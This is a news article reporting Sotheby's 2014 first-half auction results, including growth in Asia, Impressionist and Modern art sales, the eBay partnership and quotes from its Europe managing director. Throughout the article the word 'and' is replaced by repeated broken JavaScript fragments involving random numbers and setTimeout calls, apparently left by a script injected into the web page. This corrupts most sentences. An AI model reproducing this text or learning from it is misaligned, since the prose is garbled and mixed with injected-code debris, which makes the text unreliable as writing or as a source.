NEW YORK CITY — Auction sales at Sotheby’s during the first half of 2014 have grown more than 22 percent over the same period last year. The firm reported that with record sales in a number of key categories, it leads the market in many of the areas widely considered as the most important indicators of its overall health.
Sotheby’s said it dominated auction sales in Asia for the first six months, achieving total sales of $490 million, a 47 percent increase on the previous year.
It has also led the global market in auctions of Impressionist andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Modern art, with sales in this category alone amounting to $931,492,217 for the first six months of 2014. It said its auction sales of Impressionist andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Modern art for the first six months of 2014 have grown by 21 percent compared with the same period in 2013.
The year 2014 has seen Sotheby’s strongest ever Impressionist andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Modern art sales in London, at $640 million. Sotheby’s has also led the market in sales of Old Masters, with a year-to-date auction total of $230 million.
With online sales growing exponentially, Sotheby’s recently announced a partnership with eBay, thereby broadening its audience to a further 145 million potential clients. Online bidders competed for 17 percent of lots offered in 2013. The number of lots purchased online in 2013 increased 36 percent versus 2012.
The firm added that mobile traffic now accounts for 25 percent of its total website traffic.
And many of its customers are new players. A total of 26 percent of buyers in the first half of 2014 were new to Sotheby’s. A record 1,791 participants from 72 countries took part in Sotheby’s auctions in London this summer.
Year to date, Sotheby’s has sold 492 lots at more than $1 million.
Mark Cornell, Sotheby’s managing director for Europe, said: “The critical selling categories in which Sotheby’s has led the market this year are those we see attracting the fastest, strongest stream of new buyers, primarily from the new markets. Sotheby’s ability to attract, engage andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and excite these new players is evidenced both in the exceptional growth we’ve seen in Asia, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and in the record results we’ve seen in London this season.”
Referring to this season’s London sales in particular, Cornell continued: “The record successes we have enjoyed in London this summer are the fruit of the combination of old rules andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and new players. Old rules still apply: quality, rarity, provenance andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and correct estimates are key, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and new players care just as much about those criteria as established collectors. It is the confluence of rich offerings andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and ever-more global demandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and that has proved so powerful this season, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and that will continue to power the market forward.”